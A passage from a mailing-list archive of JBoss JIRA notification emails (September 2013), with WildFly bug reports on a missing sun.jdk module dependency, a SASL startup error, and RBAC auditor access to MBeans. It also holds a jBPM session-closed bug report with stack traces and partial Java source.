> 	at org.jboss.jca.core.connectionmanager.pool.AbstractPool.getConnection(AbstractPool.java:365) [ironjacamar-core-impl-1.0.17.Final.jar:1.0.17.Final]
> 	at org.jboss.jca.core.connectionmanager.pool.AbstractPool.internalTestConnection(AbstractPool.java:627) [ironjacamar-core-impl-1.0.17.Final.jar:1.0.17.Final]
> 	at org.jboss.jca.core.connectionmanager.pool.strategy.OnePool.testConnection(OnePool.java:89) [ironjacamar-core-impl-1.0.17.Final.jar:1.0.17.Final]
> 	at org.jboss.as.connector.subsystems.common.pool.PoolOperations$TestConnectionInPool.invokeCommandOn(PoolOperations.java:143) [jboss-as-connector-7.3.0.Final-redhat-X-SNAPSHOT.jar:7.3.0.Final-redhat-X-SNAPSHOT]
> 	at org.jboss.as.connector.subsystems.common.pool.PoolOperations$1.execute(PoolOperations.java:82) [jboss-as-connector-7.3.0.Final-redhat-X-SNAPSHOT.jar:7.3.0.Final-redhat-X-SNAPSHOT]
> 	at org.jboss.as.controller.AbstractOperationContext.executeStep(AbstractOperationContext.java:440) [jboss-as-controller-7.3.0.Final-redhat-X-SNAPSHOT.jar:7.3.0.Final-redhat-X-SNAPSHOT]
> 	at org.jboss.as.controller.AbstractOperationContext.doCompleteStep(AbstractOperationContext.java:322) [jboss-as-controller-7.3.0.Final-redhat-X-SNAPSHOT.jar:7.3.0.Final-redhat-X-SNAPSHOT]
> 	at org.jboss.as.controller.AbstractOperationContext.completeStepInternal(AbstractOperationContext.java:229) [jboss-as-controller-7.3.0.Final-redhat-X-SNAPSHOT.jar:7.3.0.Final-redhat-X-SNAPSHOT]
> 	at org.jboss.as.controller.AbstractOperationContext.executeOperation(AbstractOperationContext.java:224) [jboss-as-controller-7.3.0.Final-redhat-X-SNAPSHOT.jar:7.3.0.Final-redhat-X-SNAPSHOT]
> 	at org.jboss.as.controller.ModelControllerImpl.internalExecute(ModelControllerImpl.java:194) [jboss-as-controller-7.3.0.Final-redhat-X-SNAPSHOT.jar:7.3.0.Final-redhat-X-SNAPSHOT]
> 	at org.jboss.as.controller.ModelControllerImpl.execute(ModelControllerImpl.java:115) [jboss-as-controller-7.3.0.Final-redhat-X-SNAPSHOT.jar:7.3.0.Final-redhat-X-SNAPSHOT]
> 	at org.jboss.as.controller.remote.ModelControllerClientOperationHandler$ExecuteRequestHandler.doExecute(ModelControllerClientOperationHandler.java:139) [jboss-as-controller-7.3.0.Final-redhat-X-SNAPSHOT.jar:7.3.0.Final-redhat-X-SNAPSHOT]
> 	at org.jboss.as.controller.remote.ModelControllerClientOperationHandler$ExecuteRequestHandler$1.execute(ModelControllerClientOperationHandler.java:108) [jboss-as-controller-7.3.0.Final-redhat-X-SNAPSHOT.jar:7.3.0.Final-redhat-X-SNAPSHOT]
> 	at org.jboss.as.protocol.mgmt.AbstractMessageHandler$2$1.doExecute(AbstractMessageHandler.java:296)
> 	at org.jboss.as.protocol.mgmt.AbstractMessageHandler$AsyncTaskRunner.run(AbstractMessageHandler.java:518)
> 	at java.util.concurrent.ThreadPoolExecutor$Worker.runTask(ThreadPoolExecutor.java:886) [rt.jar:1.6.0_21]
> 	at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:908) [rt.jar:1.6.0_21]
> 	at java.lang.Thread.run(Thread.java:619) [rt.jar:1.6.0_21]
> 	at org.jboss.threads.JBossThread.run(JBossThread.java:122) [jboss-threads-2.1.0.Final.jar:2.1.0.Final]
> Caused by: java.sql.SQLRecoverableException: Io exception: JNDI Package failurejavax.naming.NamingException: JBAS011843: Failed instantiate InitialContextFactory com.sun.jndi.ldap.LdapCtxFactory from classloader ModuleClassLoader for Module "org.jboss.as.connector:main" from local module loader @571a75a2 (finder: local module finder @a210b5b (roots: /home/jsensharma/NotBackedUp/SVN_16_Jan/EAP6_Main/build_wildfly/jboss-as-7.3.0.Final-redhat-X-SNAPSHOT/modules,/home/jsensharma/NotBackedUp/SVN_16_Jan/EAP6_Main/build_wildfly/jboss-as-7.3.0.Final-redhat-X-SNAPSHOT/modules/system/layers/base))
> 	at oracle.jdbc.driver.SQLStateMapping.newSQLException(SQLStateMapping.java:101)
> 	at oracle.jdbc.driver.DatabaseError.newSQLException(DatabaseError.java:112)
> 	at oracle.jdbc.driver.DatabaseError.throwSqlException(DatabaseError.java:173)
> 	at oracle.jdbc.driver.DatabaseError.throwSqlException(DatabaseError.java:229)
> 	at oracle.jdbc.driver.DatabaseError.throwSqlException(DatabaseError.java:458)
> 	at oracle.jdbc.driver.T4CConnection.logon(T4CConnection.java:411)
> 	at oracle.jdbc.driver.PhysicalConnection.<init>(PhysicalConnection.java:490)
> 	at oracle.jdbc.driver.T4CConnection.<init>(T4CConnection.java:202)
> 	at oracle.jdbc.driver.T4CDriverExtension.getConnection(T4CDriverExtension.java:33)
> 	at oracle.jdbc.driver.OracleDriver.connect(OracleDriver.java:474)
> 	at org.jboss.jca.adapters.jdbc.local.LocalManagedConnectionFactory.getLocalManagedConnection(LocalManagedConnectionFactory.java:254) [ironjacamar-jdbc-1.0.17.Final.jar:1.0.17.Final]
> ++++++++++++++++++++++

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Thu Sep 12 01:02:04 2013
From: jira-events at lists.jboss.org (RH Bugzilla Integration (JIRA))
Date: Thu, 12 Sep 2013 01:02:04 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-2047) org.jboss.as.connector module
 needs sun.jdk module dependency
In-Reply-To: <JIRA.12500491.1378898552000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12500491.1378898552000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12500491.1378898552000.22582.1378962124617@jira02.app.mwc.hst.phx2.redhat.com>


    [ https://issues.jboss.org/browse/WFLY-2047?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=12803698#comment-12803698 ] 

RH Bugzilla Integration commented on WFLY-2047:
-----------------------------------------------

Jay SenSharma <jsenshar at redhat.com> made a comment on [bug 1007181|https://bugzilla.redhat.com/show_bug.cgi?id=1007181]

Workaround :
############
Add the module dependency "$JBOSS_HOME/modules/system/layers/base/org/jboss/as/connector/main/module.xml"" which needs to be dependent on the following module <module name="sun.jdk"/>

- So alter the module "org.jboss.as.connector" and add the following dependencies to it :

<dependencies>
     <module name="sun.jdk"/>
      .
      .
      .
</dependencies>
                
> org.jboss.as.connector module needs sun.jdk module dependency
> -------------------------------------------------------------
>
>                 Key: WFLY-2047
>                 URL: https://issues.jboss.org/browse/WFLY-2047
>             Project: WildFly
>          Issue Type: Bug
>          Components: JCA
>    Affects Versions: 8.0.0.Alpha4
>         Environment: All 
>            Reporter: Jay Kumar SenSharma
>            Assignee: Jesper Pedersen
>
> If a DataSource is created as following:
> ++++++++++++++++
> 	<datasource jndi-name="java:jboss/datasources/test_pool" pool-name="test_pool" enabled="true" use-java-context="true">
>                <connection-url>jdbc:oracle:thin:@ldap://example.com:3060/test,cn=OracleA,dc=worldA</connection-url>
>                <driver>oracle</driver>
>                <pool>
>                      <min-pool-size>1</min-pool-size>
>                      <max-pool-size>15</max-pool-size>
>                </pool>
>                <security>
>                    <user-name>Test</user-name>
>                    <password>testPassword</password>
>               </security>
>        </datasource>
>        <drivers>
>              <driver name="oracle" module="com.oracle.jdbc6">
>                <driver-class>oracle.jdbc.driver.OracleDriver</driver-class>
>              </driver>
>              <driver name="h2" module="com.h2database.h2">
>                <xa-datasource-class>org.h2.jdbcx.JdbcDataSource</xa-datasource-class>
>              </driver>
>        </drivers>
> ++++++++++++++++
> Then while testing the DataSource the Wildfly throws the following Exception:
> +++++++++++++++++++++
> 16:47:10,498 WARN  [org.jboss.jca.core.connectionmanager.pool.strategy.OnePool] (management-handler-thread - 3) IJ000604: Throwable while attempting to get a new connection: null: javax.resource.ResourceException: Could not create connection
> 	at org.jboss.jca.adapters.jdbc.local.LocalManagedConnectionFactory.getLocalManagedConnection(LocalManagedConnectionFactory.java:282) [ironjacamar-jdbc-1.0.17.Final.jar:1.0.17.Final]
> 	at org.jboss.jca.adapters.jdbc.local.LocalManagedConnectionFactory.createManagedConnection(LocalManagedConnectionFactory.java:240) [ironjacamar-jdbc-1.0.17.Final.jar:1.0.17.Final]
> 	at org.jboss.jca.core.connectionmanager.pool.mcp.SemaphoreArrayListManagedConnectionPool.createConnectionEventListener(SemaphoreArrayListManagedConnectionPool.java:781) [ironjacamar-core-impl-1.0.17.Final.jar:1.0.17.Final]
> 	at org.jboss.jca.core.connectionmanager.pool.mcp.SemaphoreArrayListManagedConnectionPool.getConnection(SemaphoreArrayListManagedConnectionPool.java:344) [ironjacamar-core-impl-1.0.17.Final.jar:1.0.17.Final]
> 	at org.jboss.jca.core.connectionmanager.pool.AbstractPool.getSimpleConnection(AbstractPool.java:397) [ironjacamar-core-impl-1.0.17.Final.jar:1.0.17.Final]
> 	at org.jboss.jca.core.connectionmanager.pool.AbstractPool.getConnection(AbstractPool.java:365) [ironjacamar-core-impl-1.0.17.Final.jar:1.0.17.Final]
> 	at org.jboss.jca.core.connectionmanager.pool.AbstractPool.internalTestConnection(AbstractPool.java:627) [ironjacamar-core-impl-1.0.17.Final.jar:1.0.17.Final]
> 	at org.jboss.jca.core.connectionmanager.pool.strategy.OnePool.testConnection(OnePool.java:89) [ironjacamar-core-impl-1.0.17.Final.jar:1.0.17.Final]
> 	at org.jboss.as.connector.subsystems.common.pool.PoolOperations$TestConnectionInPool.invokeCommandOn(PoolOperations.java:143) [jboss-as-connector-7.3.0.Final-redhat-X-SNAPSHOT.jar:7.3.0.Final-redhat-X-SNAPSHOT]
> 	at org.jboss.as.connector.subsystems.common.pool.PoolOperations$1.execute(PoolOperations.java:82) [jboss-as-connector-7.3.0.Final-redhat-X-SNAPSHOT.jar:7.3.0.Final-redhat-X-SNAPSHOT]
> 	at org.jboss.as.controller.AbstractOperationContext.executeStep(AbstractOperationContext.java:440) [jboss-as-controller-7.3.0.Final-redhat-X-SNAPSHOT.jar:7.3.0.Final-redhat-X-SNAPSHOT]
> 	at org.jboss.as.controller.AbstractOperationContext.doCompleteStep(AbstractOperationContext.java:322) [jboss-as-controller-7.3.0.Final-redhat-X-SNAPSHOT.jar:7.3.0.Final-redhat-X-SNAPSHOT]
> 	at org.jboss.as.controller.AbstractOperationContext.completeStepInternal(AbstractOperationContext.java:229) [jboss-as-controller-7.3.0.Final-redhat-X-SNAPSHOT.jar:7.3.0.Final-redhat-X-SNAPSHOT]
> 	at org.jboss.as.controller.AbstractOperationContext.executeOperation(AbstractOperationContext.java:224) [jboss-as-controller-7.3.0.Final-redhat-X-SNAPSHOT.jar:7.3.0.Final-redhat-X-SNAPSHOT]
> 	at org.jboss.as.controller.ModelControllerImpl.internalExecute(ModelControllerImpl.java:194) [jboss-as-controller-7.3.0.Final-redhat-X-SNAPSHOT.jar:7.3.0.Final-redhat-X-SNAPSHOT]
> 	at org.jboss.as.controller.ModelControllerImpl.execute(ModelControllerImpl.java:115) [jboss-as-controller-7.3.0.Final-redhat-X-SNAPSHOT.jar:7.3.0.Final-redhat-X-SNAPSHOT]
> 	at org.jboss.as.controller.remote.ModelControllerClientOperationHandler$ExecuteRequestHandler.doExecute(ModelControllerClientOperationHandler.java:139) [jboss-as-controller-7.3.0.Final-redhat-X-SNAPSHOT.jar:7.3.0.Final-redhat-X-SNAPSHOT]
> 	at org.jboss.as.controller.remote.ModelControllerClientOperationHandler$ExecuteRequestHandler$1.execute(ModelControllerClientOperationHandler.java:108) [jboss-as-controller-7.3.0.Final-redhat-X-SNAPSHOT.jar:7.3.0.Final-redhat-X-SNAPSHOT]
> 	at org.jboss.as.protocol.mgmt.AbstractMessageHandler$2$1.doExecute(AbstractMessageHandler.java:296)
> 	at org.jboss.as.protocol.mgmt.AbstractMessageHandler$AsyncTaskRunner.run(AbstractMessageHandler.java:518)
> 	at java.util.concurrent.ThreadPoolExecutor$Worker.runTask(ThreadPoolExecutor.java:886) [rt.jar:1.6.0_21]
> 	at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:908) [rt.jar:1.6.0_21]
> 	at java.lang.Thread.run(Thread.java:619) [rt.jar:1.6.0_21]
> 	at org.jboss.threads.JBossThread.run(JBossThread.java:122) [jboss-threads-2.1.0.Final.jar:2.1.0.Final]
> Caused by: java.sql.SQLRecoverableException: Io exception: JNDI Package failurejavax.naming.NamingException: JBAS011843: Failed instantiate InitialContextFactory com.sun.jndi.ldap.LdapCtxFactory from classloader ModuleClassLoader for Module "org.jboss.as.connector:main" from local module loader @571a75a2 (finder: local module finder @a210b5b (roots: /home/jsensharma/NotBackedUp/SVN_16_Jan/EAP6_Main/build_wildfly/jboss-as-7.3.0.Final-redhat-X-SNAPSHOT/modules,/home/jsensharma/NotBackedUp/SVN_16_Jan/EAP6_Main/build_wildfly/jboss-as-7.3.0.Final-redhat-X-SNAPSHOT/modules/system/layers/base))
> 	at oracle.jdbc.driver.SQLStateMapping.newSQLException(SQLStateMapping.java:101)
> 	at oracle.jdbc.driver.DatabaseError.newSQLException(DatabaseError.java:112)
> 	at oracle.jdbc.driver.DatabaseError.throwSqlException(DatabaseError.java:173)
> 	at oracle.jdbc.driver.DatabaseError.throwSqlException(DatabaseError.java:229)
> 	at oracle.jdbc.driver.DatabaseError.throwSqlException(DatabaseError.java:458)
> 	at oracle.jdbc.driver.T4CConnection.logon(T4CConnection.java:411)
> 	at oracle.jdbc.driver.PhysicalConnection.<init>(PhysicalConnection.java:490)
> 	at oracle.jdbc.driver.T4CConnection.<init>(T4CConnection.java:202)
> 	at oracle.jdbc.driver.T4CDriverExtension.getConnection(T4CDriverExtension.java:33)
> 	at oracle.jdbc.driver.OracleDriver.connect(OracleDriver.java:474)
> 	at org.jboss.jca.adapters.jdbc.local.LocalManagedConnectionFactory.getLocalManagedConnection(LocalManagedConnectionFactory.java:254) [ironjacamar-jdbc-1.0.17.Final.jar:1.0.17.Final]
> ++++++++++++++++++++++

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Thu Sep 12 01:56:03 2013
From: jira-events at lists.jboss.org (RH Bugzilla Integration (JIRA))
Date: Thu, 12 Sep 2013 01:56:03 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-1988) SaslException at startup in
 domain mode using JAAS for ManagementRealm
In-Reply-To: <JIRA.12499810.1378201935000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12499810.1378201935000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12499810.1378201935000.22592.1378965363404@jira02.app.mwc.hst.phx2.redhat.com>


    [ https://issues.jboss.org/browse/WFLY-1988?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=12803699#comment-12803699 ] 

RH Bugzilla Integration commented on WFLY-1988:
-----------------------------------------------

Hisanobu Okuda <hokuda at redhat.com> made a comment on [bug 1003464|https://bugzilla.redhat.com/show_bug.cgi?id=1003464]

I found that password.equals(vpc.getPassword()) in line 579 of ServerInventoryImpl.java is FALSE, if authKey contains an unmapped UTF-8 char, ie, ed b0 b6. For example, When authKey={bd 1b ef 66 ed b0 b6 75 6a 85 10 12 dd 85 8f ff}, SaslException occurs.
                
>  SaslException at startup in domain mode using JAAS for ManagementRealm
> -----------------------------------------------------------------------
>
>                 Key: WFLY-1988
>                 URL: https://issues.jboss.org/browse/WFLY-1988
>             Project: WildFly
>          Issue Type: Feature Request
>          Components: Domain Management
>    Affects Versions: 8.0.0.Alpha4
>            Reporter: Emmanuel Hugonnet
>            Assignee: Emmanuel Hugonnet
>             Fix For: 8.0.0.Beta1
>
>


--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Thu Sep 12 02:19:03 2013
From: jira-events at lists.jboss.org (Ladislav Thon (JIRA))
Date: Thu, 12 Sep 2013 02:19:03 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-2040) RBAC + JMX: auditor can't
 read sensitive non-core MBeans
In-Reply-To: <JIRA.12500404.1378817677000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12500404.1378817677000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12500404.1378817677000.22610.1378966743924@jira02.app.mwc.hst.phx2.redhat.com>


    [ https://issues.jboss.org/browse/WFLY-2040?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=12803703#comment-12803703 ] 

Ladislav Thon commented on WFLY-2040:
-------------------------------------

[~kabirkhan] Thank you! If {{MBeanRuntimeException}} will be thrown directly instead of being wrapped up in {{IOException}}, then that's a good thing and I'll be glad to fix my tests.

Regarding {{extraSensitiveOperation}}, I tried the first operation that I found that looked reasonable and it indeed did trigger the check inside {{PluggableMBeanServerImpl}}. Once we have the original issue fixed, I'll see if the {{extraSensitiveOperation}} bits still make sense and if not, I'll drop that test entirely.
                
> RBAC + JMX: auditor can't read sensitive non-core MBeans
> --------------------------------------------------------
>
>                 Key: WFLY-2040
>                 URL: https://issues.jboss.org/browse/WFLY-2040
>             Project: WildFly
>          Issue Type: Sub-task
>          Components: Domain Management, JMX
>            Reporter: Ladislav Thon
>            Assignee: Kabir Khan
>              Labels: rbac-filed-by-qa
>
> If I set non-core MBeans to be sensitive, like
> {code:xml}
> <subsystem xmlns="urn:jboss:domain:jmx:1.3">
>     <expose-resolved-model/>
>     <expose-expression-model/>
>     <remoting-connector/>
>     <sensitivity non-core-mbeans="true"/>
> </subsystem>
> {code}
> then I expect all roles that can read sensitive data (administrator, auditor, superuser) to be able to read non-core MBeans too. This is currently broken, as only administrator and superuser can read non-core MBeans, auditor cannot. I have a test case for this that I will submit later, but the important part is:
> {code}
> boolean successExpected = ...; // 'true' for auditor
> MBeanServerConnection connection = ...;
> ObjectName domain = new ObjectName("java.lang:type=OperatingSystem");
> try {
>     Object attribute = connection.getAttribute(domain, "Name");
>     assertTrue("Failure was expected", successExpected);
>     assertEquals(System.getProperty("os.name"), attribute.toString());
> } catch (IOException e) {
>     if (e.getCause() instanceof RuntimeMBeanException && e.getCause().getMessage().contains("11360")) {
>         assertFalse("Success was expected but failure happened: " + e, successExpected);
>     } else {
>         throw e;
>     }
> }
> {code}
> Please note that I'm speaking about _reading_ sensitive data, which, if I understand correctly, auditor _can_ do.

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Thu Sep 12 02:45:04 2013
From: jira-events at lists.jboss.org (Kiran Kumar A (JIRA))
Date: Thu, 12 Sep 2013 02:45:04 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (JBFORUMS-301) Session Closed Exception
In-Reply-To: <JIRA.12500563.1378968256082@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12500563.1378968256082@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12500563.1378968256082.22636.1378968304498@jira02.app.mwc.hst.phx2.redhat.com>

Kiran Kumar A created JBFORUMS-301:
--------------------------------------

             Summary: Session Closed Exception
                 Key: JBFORUMS-301
                 URL: https://issues.jboss.org/browse/JBFORUMS-301
             Project: JBoss Forums
          Issue Type: Bug
         Environment: JBPM 5.3 Persistence, Hibernate 4, JPA 2, Tomcat
            Reporter: Kiran Kumar A
            Assignee: Luca Stancapiano


The below is exception I am getting after some time of successful runs.



java.lang.Exception: java.lang.IllegalStateException: java.lang.reflect.InvocationTargetException
	at com.sts.inv.bpm.biz.impl.invBPMServiceImpl.signalEvent(InvBPMServiceImpl.java:78)
	at com.sts.inv.data.biz.impl.invServiceImpl.sendSignal(InvServiceImpl.java:120)
	at com.sts.inv.data.biz.impl.invServiceImpl.sendSignal(InvServiceImpl.java:132)
	at com.sts.inv.ws.impl.invWebServiceImpl.getinvStatus(InvWebServiceImpl.java:339)
	at sun.reflect.GeneratedMethodAccessor794.invoke(Unknown Source)
	at sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43)
	at java.lang.reflect.Method.invoke(Method.java:616)
	at org.apache.cxf.service.invoker.AbstractInvoker.performInvocation(AbstractInvoker.java:180)
	at org.apache.cxf.service.invoker.AbstractInvoker.invoke(AbstractInvoker.java:96)
	at org.apache.cxf.jaxrs.JAXRSInvoker.invoke(JAXRSInvoker.java:167)
	at org.apache.cxf.jaxrs.JAXRSInvoker.invoke(JAXRSInvoker.java:94)
	at org.apache.cxf.interceptor.ServiceInvokerInterceptor$1.run(ServiceInvokerInterceptor.java:58)
	at org.apache.cxf.interceptor.ServiceInvokerInterceptor.handleMessage(ServiceInvokerInterceptor.java:94)
	at org.apache.cxf.phase.PhaseInterceptorChain.doIntercept(PhaseInterceptorChain.java:262)
	at org.apache.cxf.transport.ChainInitiationObserver.onMessage(ChainInitiationObserver.java:121)
	at org.apache.cxf.transport.http.AbstractHTTPDestination.invoke(AbstractHTTPDestination.java:211)
	at org.apache.cxf.transport.servlet.ServletController.invokeDestination(ServletController.java:213)
	at org.apache.cxf.transport.servlet.ServletController.invoke(ServletController.java:154)
	at org.apache.cxf.transport.servlet.CXFNonSpringServlet.invoke(CXFNonSpringServlet.java:130)
	at org.apache.cxf.transport.servlet.AbstractHTTPServlet.handleRequest(AbstractHTTPServlet.java:221)
	at org.apache.cxf.transport.servlet.AbstractHTTPServlet.doGet(AbstractHTTPServlet.java:146)
	at javax.servlet.http.HttpServlet.service(HttpServlet.java:621)
	at org.apache.cxf.transport.servlet.AbstractHTTPServlet.service(AbstractHTTPServlet.java:197)
	at org.apache.catalina.core.ApplicationFilterChain.internalDoFilter(ApplicationFilterChain.java:305)
	at org.apache.catalina.core.ApplicationFilterChain.doFilter(ApplicationFilterChain.java:210)
	at com.sts.catalog.filter.ProductsFilter.doFilter(ProductsFilter.java:59)
	at org.apache.catalina.core.ApplicationFilterChain.internalDoFilter(ApplicationFilterChain.java:243)
	at org.apache.catalina.core.ApplicationFilterChain.doFilter(ApplicationFilterChain.java:210)
	at com.sts.catalog.filter.LocationsFilter.doFilter(LocationsFilter.java:58)
	at org.apache.catalina.core.ApplicationFilterChain.internalDoFilter(ApplicationFilterChain.java:243)
	at org.apache.catalina.core.ApplicationFilterChain.doFilter(ApplicationFilterChain.java:210)
	at com.sts.security.api.UserInfoFilter.doFilter(UserInfoFilter.java:66)
	at org.apache.catalina.core.ApplicationFilterChain.internalDoFilter(ApplicationFilterChain.java:243)
	at org.apache.catalina.core.ApplicationFilterChain.doFilter(ApplicationFilterChain.java:210)
	at com.sts.ws.filter.ApiOriginFilter.doFilter(ApiOriginFilter.java:19)
	at org.apache.catalina.core.ApplicationFilterChain.internalDoFilter(ApplicationFilterChain.java:243)
	at org.apache.catalina.core.ApplicationFilterChain.doFilter(ApplicationFilterChain.java:210)
	at org.apache.catalina.core.StandardWrapperValve.invoke(StandardWrapperValve.java:225)
	at org.apache.catalina.core.StandardContextValve.invoke(StandardContextValve.java:169)
	at org.apache.catalina.authenticator.AuthenticatorBase.invoke(AuthenticatorBase.java:472)
	at org.apache.catalina.core.StandardHostValve.invoke(StandardHostValve.java:168)
	at org.apache.catalina.valves.ErrorReportValve.invoke(ErrorReportValve.java:98)
	at org.apache.catalina.valves.AccessLogValve.invoke(AccessLogValve.java:927)
	at org.apache.catalina.core.StandardEngineValve.invoke(StandardEngineValve.java:118)
	at org.apache.catalina.connector.CoyoteAdapter.service(CoyoteAdapter.java:407)
	at org.apache.coyote.http11.AbstractHttp11Processor.process(AbstractHttp11Processor.java:999)
	at org.apache.coyote.AbstractProtocol$AbstractConnectionHandler.process(AbstractProtocol.java:565)
	at org.apache.tomcat.util.net.JIoEndpoint$SocketProcessor.run(JIoEndpoint.java:309)
	at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1146)
	at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:615)
	at java.lang.Thread.run(Thread.java:679)
Caused by: java.lang.IllegalStateException: java.lang.reflect.InvocationTargetException
	at org.drools.persistence.jpa.KnowledgeStoreServiceImpl.buildCommandService(KnowledgeStoreServiceImpl.java:116)
	at org.drools.persistence.jpa.KnowledgeStoreServiceImpl.loadStatefulKnowledgeSession(KnowledgeStoreServiceImpl.java:84)
	at org.drools.persistence.jpa.JPAKnowledgeService.loadStatefulKnowledgeSession(JPAKnowledgeService.java:131)
	at com.sts.bpm.engine.impl.BpmEngineImpl.signalEvent(BpmEngineImpl.java:302)
	at com.sts.inv.bpm.biz.impl.invBPMServiceImpl.signalEvent(invBPMServiceImpl.java:76)
	... 50 more
Caused by: java.lang.reflect.InvocationTargetException
	at sun.reflect.GeneratedConstructorAccessor159.newInstance(Unknown Source)
	at sun.reflect.DelegatingConstructorAccessorImpl.newInstance(DelegatingConstructorAccessorImpl.java:45)
	at java.lang.reflect.Constructor.newInstance(Constructor.java:532)
	at org.drools.persistence.jpa.KnowledgeStoreServiceImpl.buildCommandService(KnowledgeStoreServiceImpl.java:101)
	... 54 more
Caused by: org.hibernate.SessionException: Session is closed!
	at org.hibernate.internal.AbstractSessionImpl.errorIfClosed(AbstractSessionImpl.java:127)
	at org.hibernate.internal.SessionImpl.getTransactionCoordinator(SessionImpl.java:1960)
	at org.hibernate.ejb.AbstractEntityManagerImpl.joinTransaction(AbstractEntityManagerImpl.java:1198)
	at org.hibernate.ejb.AbstractEntityManagerImpl.joinTransaction(AbstractEntityManagerImpl.java:1173)
	at org.drools.persistence.jpa.JpaPersistenceContext.joinTransaction(JpaPersistenceContext.java:29)
	at org.drools.persistence.SingleSessionCommandService.<init>(SingleSessionCommandService.java:194)
	... 58 more




package com.sts.bpm.engine.impl;

import java.util.HashMap;
import java.util.Iterator;
import java.util.List;
import java.util.Map;
import java.util.Properties;

import javax.naming.InitialContext;
import javax.persistence.EntityManagerFactory;
import javax.persistence.Persistence;
import javax.transaction.UserTransaction;

import org.apache.log4j.LogManager;
import org.apache.log4j.Logger;
import org.drools.KnowledgeBase;
import org.drools.KnowledgeBaseFactory;
import org.drools.builder.KnowledgeBuilder;
import org.drools.builder.KnowledgeBuilderError;
import org.drools.builder.KnowledgeBuilderFactory;
import org.drools.builder.ResourceType;
import org.drools.impl.EnvironmentFactory;
import org.drools.io.ResourceFactory;
import org.drools.persistence.jpa.JPAKnowledgeService;
import org.drools.runtime.Environment;
import org.drools.runtime.EnvironmentName;
import org.drools.runtime.StatefulKnowledgeSession;
import org.drools.runtime.process.ProcessInstance;
import org.drools.runtime.process.WorkItemHandler;
import org.jbpm.process.audit.JPAWorkingMemoryDbLogger;
import org.springframework.beans.BeansException;
import org.springframework.context.ApplicationContext;
import org.springframework.context.ApplicationContextAware;
import org.springframework.core.io.Resource;

import bitronix.tm.TransactionManagerServices;
import bitronix.tm.resource.jdbc.PoolingDataSource;

import com.sts.bpm.engine.BpmEngine;

/**
 * BPMEngine will provide functionalities for creating a new process and
 * starting the tasks. The class implements ApplicationContextAware to load bpmn
 * files.
 * 
 * @see ApplicationContextAware
 * @author
 * 
 */
public class JBpmEngineImpl implements ApplicationContextAware {

	private static Logger logger = LogManager.getLogger(BpmEngineImpl.class);

	private KnowledgeBase kbase;

	/**
	 * Available resource patterns which are used to read bpmn files.
	 */
	private List<String> resourcePatterns;

	private PoolingDataSource poolingDataSource;
	
	private String initialFactoryClassName;

	/**
	 * Spring application context
	 */
	private ApplicationContext applicationContext;
	
	private Environment env;
	
	private String uniqueName;
	
	private String className;
	
	private int minPoolSize;
	
	private int maxPoolSize;
	
	private boolean allowLocalTransactions;
	
	private String isolationLevel;
	
	
	
	private Properties driverProperties;
	
	public void init() {
		try {
			setUp();
			createKnowledgebase();
		} catch (Throwable e) {
			logger.info("Error while creating knowledge base",e);
		}
	}

	public void setUp() {
		try{
			System.setProperty("java.naming.factory.initial",initialFactoryClassName);
			poolingDataSource = new bitronix.tm.resource.jdbc.PoolingDataSource();
			
			poolingDataSource.setUniqueName(uniqueName);
			poolingDataSource.setClassName(className);
			poolingDataSource.setMinPoolSize(minPoolSize);
			poolingDataSource.setMaxPoolSize(maxPoolSize);
			poolingDataSource.setAllowLocalTransactions(allowLocalTransactions);
			poolingDataSource.setIsolationLevel(isolationLevel);
			/*
			Properties driverProperties = new Properties();
			driverProperties.setProperty("user", "root");
			driverProperties.setProperty("password", "");
			driverProperties.setProperty("serverName", "localhost");
			driverProperties.setProperty("databaseName", "jbpm");
			driverProperties.setProperty("port", "3306");
			driverProperties.setProperty("URL", "jdbc:mysql://localhost:3306/jbpm");
			*/
			poolingDataSource.setDriverProperties(driverProperties);
			poolingDataSource.init();
		}catch(Throwable t){
			logger.error("Error while initating data source", t);
		}
	}

	
	@Override
	public Map<String, Object> createProcessInstance(String processDefinitionId,
			Map<String, Object> parameters,
			Map<String, WorkItemHandler> wiHandlers) throws Exception{
		Map<String, Object> resultMap = new HashMap<String, Object>();
		StatefulKnowledgeSession ksession = null;
		JPAWorkingMemoryDbLogger wmlogger = null;
		UserTransaction ut = null;
		try{
			//Result values
			// Let's create a Persistence Knowledge Session
			logger.info("Creating Persistent Knowledge Session for "
					+ processDefinitionId);
			logger.info("Enabling BAM for " + processDefinitionId);
			ksession = createKnowledgeSession();
			// Enable BAM to log history of the instance
			wmlogger = new JPAWorkingMemoryDbLogger(ksession);
			// Register WorkItemHandlers
			registerWorkItemHandlers(ksession, wiHandlers);
			
